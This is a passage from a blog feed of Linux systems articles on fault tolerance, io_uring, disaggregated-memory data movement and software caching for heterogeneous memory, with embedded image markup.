processes modeling heterogeneous compute units (standing in for GPUs/accelerators), each periodically &#8220;computing&#8221; and occasionally injecting one of three fault classes: correctable, uncorrectable-recoverable, and fatal &#8212; mirroring EDAC-logged, hwpoison-and-SIGBUS, and panic-and-restart respectively.</p></li><li><p>A <strong>heartbeat/watchdog</strong> mechanism (a <code>SIGALRM</code>-driven liveness check per worker) modeling <code>kernel/watchdog.c</code>&#8216;s hrtimer-driven staleness detection, so a hung worker (no heartbeat, no fault message) is detected and restarted exactly like a hardlockup-then-recovery path.</p></li><li><p>A <strong>checkpoint/restart</strong> mechanism: each worker periodically writes progress to a checkpoint file; on recoverable or fatal fault, the supervisor restarts only that worker from its last checkpoint, demonstrating why granular checkpointing bounds recomputation cost.</p></li></ul><p>Run it with:</p><p>bash</p><pre><code><code>chmod +x startup.sh
./startup.sh</code></code></pre><p>Expect to see coloured log lines showing correctable events logged and ignored, recoverable faults triggering a single-worker restart from checkpoint, and (rarely, by design low-probability) a fatal fault draining and restarting the whole demo domain &#8212; with a final summary of total compute lost to faults versus total compute completed.</p><h2>14. Best Practices</h2><ul><li><p>Always run <code>rasdaemon</code> (or an equivalent MCE/EDAC consumer) in production; without it, correctable-error trend data &#8212; your best early-warning signal &#8212; is discarded the moment the kernel ring buffer wraps.</p></li><li><p>Treat <code>SIGBUS</code> with <code>BUS_MCEERR_AR</code> as a first-class signal in any long-running parallel runtime, not an unhandled crash; catching it and restarting only the affected worker from checkpoint is almost always cheaper than restarting the whole job.</p></li><li><p>Checkpoint at a granularity proportional to your <em>observed</em> fault rate, not an arbitrary wall-clock interval &#8212; compute expected wasted work as <code>fault_rate &#215; mean_checkpoint_interval</code> and tune accordingly.</p></li><li><p>Keep the CPU hardlockup/softlockup watchdog enabled everywhere except cores you have deliberately isolated for interrupt-free RT/HPC work, and disable it explicitly (<code>nohz_full</code>/<code>isolcpus</code>) rather than leaving it silently starved.</p></li><li><p>Size DRM/accelerator job timeouts (TDR) against your actual longest legitimate kernel/op duration, not a generic default &#8212; false-positive resets are as costly to a training job as genuine hangs.</p></li><li><p>Verify BIOS/firmware memory scrub settings explicitly after any firmware update; &#8220;performance&#8221; profiles disabling background ECC scrubbing is one of the most common silent regressions in fleet reliability.</p></li></ul><h2>15. Summary</h2><p>Fault tolerance on heterogeneous platforms is not one Linux mechanism &#8212; it&#8217;s four independently evolved subsystems (MCA/MCE, EDAC, the CPU watchdog, and accelerator/IOMMU fault reporting) that share a common shape: detect, classify by severity, and act at the narrowest possible scope, whether that&#8217;s one physical page, one CPU, or one device context. The kernel&#8217;s entire design philosophy here is <em>isolation of blast radius</em> &#8212; an uncorrectable error should cost you one page or one worker, never the whole machine, and a hung device should cost you one reset, never a kernel panic. Building fault-tolerant parallel software on top of this means consuming the right signal at the right layer: <code>SIGBUS</code>/hwpoison for memory, driver reset notifications for devices, and EDAC/rasdaemon trend data for predictive maintenance &#8212; and checkpointing at a granularity that makes each of those recoveries cheap.</p>]]></content:encoded></item><item><title><![CDATA[io_uring Internals: Asynchronous I/O for Heterogeneous Compute Pipelines]]></title><description><![CDATA[1.]]></description><link>https://howtech.substack.com/p/io_uring-internals-asynchronous-io</link><guid isPermaLink="false">https://howtech.substack.com/p/io_uring-internals-asynchronous-io</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Mon, 10 Aug 2026 09:30:41 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!a7l_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1f2f31b-050b-4295-ba58-85bdf0625c81_3600x2560.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>1. Introduction</h2><p>Every I/O interface Linux shipped before 5.1 shared one structural assumption: a thread issues a syscall, traps into the kernel, and either blocks or gets <code>EAGAIN</code>. <code>read(2)</code>, <code>aio_read(3)</code>, even <code>epoll</code> with non-blocking sockets &#8212; all of them pay a syscall trap per operation, and most of them still can&#8217;t do true asynchronous file I/O. When your workload is a single accelerator waiting on a single disk, that overhead is noise. When your workload is a scheduler feeding hundreds of thousands of small I/O requests per second across NVMe queues, network sockets, and GPU-staged buffers, the syscall boundary itself becomes the bottleneck.</p><p>io_uring solves this by removing the syscall from the hot path entirely. Two ring buffers &#8212; a submission queue (SQ) and a completion queue (CQ) &#8212; are memory-mapped into both the application and the kernel. The application writes submission queue entries (SQEs) directly into shared memory; the kernel writes completion queue entries (CQEs) directly into shared memory. In the steady state, no syscall is required to submit or reap I/O at all.</p><p>This article is a systems-level dive into how that ring architecture actually works: the kernel structures behind it, the CPU-level memory ordering it depends on, and a real concurrency bug you will hit the first time you try to share a ring across threads &#8212; caught here with ThreadSanitizer, not asserted from a man page.</p><p>It&#8217;s worth being precise about what &#8220;asynchronous&#8221; means here, because io_uring is often mis-described as &#8220;non-blocking I/O,&#8221; which it is not, strictly. <code>read(2)</code> on a non-blocking fd returns immediately with <code>EAGAIN</code> if data isn&#8217;t ready &#8212; the caller still has to poll or wait on readiness via <code>epoll</code>. io_uring instead lets the <em>kernel itself</em> decide whether an operation completes inline or gets handed to a worker thread; the caller&#8217;s job is only to submit the request and eventually collect the result, regardless of how long the kernel took or which path it used internally. That distinction &#8212; asynchronous completion notification versus non-blocking return codes &#8212; is the actual architectural shift, and it&#8217;s why io_uring subsumes both <code>read</code>/<code>write</code> and <code>epoll</code>-style readiness models under one interface.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!a7l_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1f2f31b-050b-4295-ba58-85bdf0625c81_3600x2560.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!a7l_!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1f2f31b-050b-4295-ba58-85bdf0625c81_3600x2560.png 424w, /__u/substackcdn.com/image/fetch/$s_!a7l_!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1f2f31b-050b-4295-ba58-85bdf0625c81_3600x2560.png 848w, /__u/substackcdn.com/image/fetch/$s_!a7l_!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1f2f31b-050b-4295-ba58-85bdf0625c81_3600x2560.png 1272w, /__u/substackcdn.com/image/fetch/$s_!a7l_!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1f2f31b-050b-4295-ba58-85bdf0625c81_3600x2560.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!a7l_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1f2f31b-050b-4295-ba58-85bdf0625c81_3600x2560.png" width="1456" height="1035" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d1f2f31b-050b-4295-ba58-85bdf0625c81_3600x2560.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1035,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:654000,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/209210257?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1f2f31b-050b-4295-ba58-85bdf0625c81_3600x2560.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!a7l_!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1f2f31b-050b-4295-ba58-85bdf0625c81_3600x2560.png 424w, /__u/substackcdn.com/image/fetch/$s_!a7l_!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1f2f31b-050b-4295-ba58-85bdf0625c81_3600x2560.png 848w, /__u/substackcdn.com/image/fetch/$s_!a7l_!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1f2f31b-050b-4295-ba58-85bdf0625c81_3600x2560.png 1272w, /__u/substackcdn.com/image/fetch/$s_!a7l_!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1f2f31b-050b-4295-ba58-85bdf0625c81_3600x2560.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div>
      <p>
          <a href="/__u/howtech.substack.com/p/io_uring-internals-asynchronous-io">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Data Movement Optimization in Disaggregated Memory Systems]]></title><description><![CDATA[1.]]></description><link>https://howtech.substack.com/p/data-movement-optimization-in-disaggregated</link><guid isPermaLink="false">https://howtech.substack.com/p/data-movement-optimization-in-disaggregated</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Sun, 09 Aug 2026 09:30:26 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!CuOM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc6f7dc5-7d34-42db-955a-60b7783b9809_3600x2480.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>1. Introduction</h2><p>Disaggregated memory breaks the assumption that has held since the earliest von Neumann machines: that memory lives at a fixed, short distance from the CPU that uses it. With CXL (Compute Express Link) Type 3 memory expanders, memory pooling appliances, and fabric-attached memory, a page of RAM a process touches might sit several switch hops away, reachable only through a coherent but higher-latency fabric rather than the local DDR channel.</p><p>The kernel already has a name for &#8220;memory that isn&#8217;t equally close to every CPU&#8221; &#8212; NUMA. What disaggregation adds is <em>degree</em>: latencies and bandwidth asymmetries an order of magnitude larger than classic multi-socket NUMA, plus the reality that some of this memory has no CPU attached to it at all (a bare memory expander is a NUMA node with <code>has_cpu</code> unset). The kernel represents this today, and you can see it directly:</p><pre><code><code>$ ls /sys/devices/system/node/node0/
has_cpu  has_generic_initiator  has_memory  has_normal_memory  ...
</code></code></pre><p>Once memory is disaggregated, moving data between tiers stops being an occasional NUMA-balance nicety and becomes the central performance problem. This article is about that movement: how the kernel exposes migration primitives (<code>move_pages(2)</code>, <code>migrate_pages()</code>, HMM), how DMA engines execute the underlying copy, and &#8212; this is the part textbooks skip &#8212; why the <em>batching strategy</em> around that copy dominates achievable bandwidth far more than the copy itself does. We built and measured a software model of a batching DMA engine to make the effect concrete, not hypothetical.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!CuOM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc6f7dc5-7d34-42db-955a-60b7783b9809_3600x2480.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!CuOM!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc6f7dc5-7d34-42db-955a-60b7783b9809_3600x2480.png 424w, /__u/substackcdn.com/image/fetch/$s_!CuOM!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc6f7dc5-7d34-42db-955a-60b7783b9809_3600x2480.png 848w, /__u/substackcdn.com/image/fetch/$s_!CuOM!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc6f7dc5-7d34-42db-955a-60b7783b9809_3600x2480.png 1272w, /__u/substackcdn.com/image/fetch/$s_!CuOM!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc6f7dc5-7d34-42db-955a-60b7783b9809_3600x2480.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!CuOM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc6f7dc5-7d34-42db-955a-60b7783b9809_3600x2480.png" width="1456" height="1003" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fc6f7dc5-7d34-42db-955a-60b7783b9809_3600x2480.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1003,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:550314,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/209078528?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc6f7dc5-7d34-42db-955a-60b7783b9809_3600x2480.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!CuOM!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc6f7dc5-7d34-42db-955a-60b7783b9809_3600x2480.png 424w, /__u/substackcdn.com/image/fetch/$s_!CuOM!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc6f7dc5-7d34-42db-955a-60b7783b9809_3600x2480.png 848w, /__u/substackcdn.com/image/fetch/$s_!CuOM!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc6f7dc5-7d34-42db-955a-60b7783b9809_3600x2480.png 1272w, /__u/substackcdn.com/image/fetch/$s_!CuOM!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc6f7dc5-7d34-42db-955a-60b7783b9809_3600x2480.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div>
      <p>
          <a href="/__u/howtech.substack.com/p/data-movement-optimization-in-disaggregated">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Caching Strategies for Heterogeneous Memory Systems]]></title><description><![CDATA[1.]]></description><link>https://howtech.substack.com/p/caching-strategies-for-heterogeneous</link><guid isPermaLink="false">https://howtech.substack.com/p/caching-strategies-for-heterogeneous</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Sat, 08 Aug 2026 09:31:22 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!lPyE!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3695b6fe-f7d5-4ded-9ddc-87bd269d8e07_4000x2880.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>1. Introduction</h2><p>Modern systems no longer have one kind of memory. A server might have local DDR5 DRAM, a CXL-attached memory expander two hops away on the fabric, HBM stacked on an accelerator, and a GPU&#8217;s own VRAM that the CPU can address but never wants to touch directly. Each of these tiers has a different latency, a different bandwidth ceiling, and &#8212; critically for this article &#8212; a different relationship to the CPU cache hierarchy. Some tiers are fully cache-coherent. Some are coherent but slow enough that treating them like DRAM is a performance bug. Some are not coherent with the CPU at all, and reading or writing them incorrectly produces silently wrong results instead of a crash.</p><p>This article is about the layer of software that sits between &#8220;the CPU&#8217;s normal cache hierarchy&#8221; and &#8220;whatever this new memory tier actually is&#8221;: a software-managed cache. We will build one, break it twice under real tools, fix it, and measure it. The mental model is simple &#8212; near memory is fast and CPU-cached, far memory is slow and may not be &#8212; but the implementation detail is where production systems succeed or quietly corrupt data.</p><h2>2. Historical Background</h2><p>Hardware cache coherence protocols (MESI and its descendants) were built on an assumption: there is one pool of DRAM, and every core&#8217;s cache is kept consistent with it by snooping or directory lookups. That assumption held for decades because it was cheaper to add more coherent DRAM than to manage two kinds of memory in software.</p><p>Two pressures broke it. First, DRAM scaling slowed while core counts kept climbing, so systems started attaching memory over PCIe/CXL links rather than only on local memory channels &#8212; that link&#8217;s latency is too large to treat as uniform-cost DRAM even though it is coherent. Second, accelerators (GPUs, smart NICs, FPGAs) came with their own local memory that the host CPU could map but not cheaply keep coherent with, because full hardware coherence across a PCIe link at CPU-cache granularity is either unavailable or too costly in practice. The kernel&#8217;s answer has been incremental: NUMA gave the scheduler and allocator a notion of memory &#8220;distance,&#8221; <code>mempolicy</code> and later kernel memory tiering (and DAMON, covered in an earlier article in this series) gave it a notion of hot/cold pages to migrate between tiers, and CXL 3.0&#8217;s HDM-DB gave hardware a coherence model for dynamically attached capacity. None of that solves the userspace problem this article covers: even when the kernel places pages correctly, the application still decides how to move bytes between a fast local buffer and a slow or non-coherent one, and that decision is where cache-management bugs live.</p><p>The instruction-level tools this article relies on are themselves an older lineage than CXL. Non-temporal stores and the write-combining (WC) memory type were introduced with SSE, originally to let software stream large amounts of data &#8212; video frame buffers, graphics textures &#8212; out to a device without thrashing the CPU cache. <code>CLFLUSH</code> is older still. What changed is not the instructions but the reason to reach for them: a decade ago they were a niche optimization for a narrow set of multimedia and driver code; today, with far-memory tiers a routine part of server design, knowing exactly which store instruction is being issued and what it guarantees has become a mainstream systems-programming skill rather than a specialist one.</p><h2>3. Systems-Level Problem</h2><p>Here is the concrete problem: you have a working set that is written frequently but only a fraction of it is hot at any moment. Writing every byte directly to far memory pays that tier&#8217;s latency on every access. Copying the whole thing into DRAM defeats the purpose of having a large, cheap far tier at all. The standard answer is a cache: keep hot lines in near memory, mark them dirty, and lazily write them back to far memory. That is a write-back cache, and it is precisely what a CPU does for you with DRAM &#8212; except now you are building it in software for a tier the CPU won&#8217;t manage automatically.</p><p>Two things make this harder than an ordinary in-memory cache:</p><ul><li><p><strong>Concurrency.</strong> Multiple threads hit the same near-memory line for different far-memory addresses. A lookup-then-claim sequence without atomicity produces two writers on one cache line.</p></li><li><p><strong>Store ordering across a non-coherent or weakly-ordered boundary.</strong> If you use non-temporal (write-combining) stores to avoid polluting the CPU cache with far-memory writes &#8212; which you often want to, since that data will not be re-read locally &#8212; those stores are, by design, not ordered the way normal stores are. A consumer outside the CPU&#8217;s cache-coherence domain (a DMA engine, an accelerator polling a doorbell) can observe &#8220;this data is ready&#8221; before the data itself is globally visible, unless you fence explicitly.</p></li></ul><p>Both of these are real bugs we will reproduce below, not hypotheticals.</p><p>There is a design question underneath both bugs that is worth stating explicitly: a software cache for heterogeneous memory has to make the same three decisions any cache makes &#8212; placement (direct-mapped, set-associative, or fully associative), write policy (write-back vs. write-through), and eviction policy (LRU, clock, random) &#8212; but each decision now has a heterogeneous-memory-specific cost attached to getting it wrong. A direct-mapped cache is simple and lock-friendly (one lock per line, as built here) but suffers more conflict misses than set-associative designs; that trade is more expensive here than in a hardware cache because a &#8220;miss&#8221; against far memory can mean microseconds, not nanoseconds. Write-back defers cost to eviction, which is exactly what you want when far-memory latency is high, but it means dirty data can be lost on a crash unless the eviction and durability story is designed together &#8212; the same tension this series&#8217; NVM persistency article covered from the opposite direction (durability first, performance second). This article picks the simplest point in that space (direct-mapped, write-back, periodic writeback rather than LRU-driven eviction) deliberately, so the two real bugs are visible without a more complex design obscuring them.</p><h2>4. Linux Kernel Architecture</h2><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!lPyE!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3695b6fe-f7d5-4ded-9ddc-87bd269d8e07_4000x2880.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!lPyE!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3695b6fe-f7d5-4ded-9ddc-87bd269d8e07_4000x2880.png 424w, /__u/substackcdn.com/image/fetch/$s_!lPyE!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3695b6fe-f7d5-4ded-9ddc-87bd269d8e07_4000x2880.png 848w, /__u/substackcdn.com/image/fetch/$s_!lPyE!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3695b6fe-f7d5-4ded-9ddc-87bd269d8e07_4000x2880.png 1272w, /__u/substackcdn.com/image/fetch/$s_!lPyE!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3695b6fe-f7d5-4ded-9ddc-87bd269d8e07_4000x2880.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!lPyE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3695b6fe-f7d5-4ded-9ddc-87bd269d8e07_4000x2880.png" width="1456" height="1048" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3695b6fe-f7d5-4ded-9ddc-87bd269d8e07_4000x2880.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1048,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:906502,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/209075584?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3695b6fe-f7d5-4ded-9ddc-87bd269d8e07_4000x2880.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!lPyE!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3695b6fe-f7d5-4ded-9ddc-87bd269d8e07_4000x2880.png 424w, /__u/substackcdn.com/image/fetch/$s_!lPyE!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, 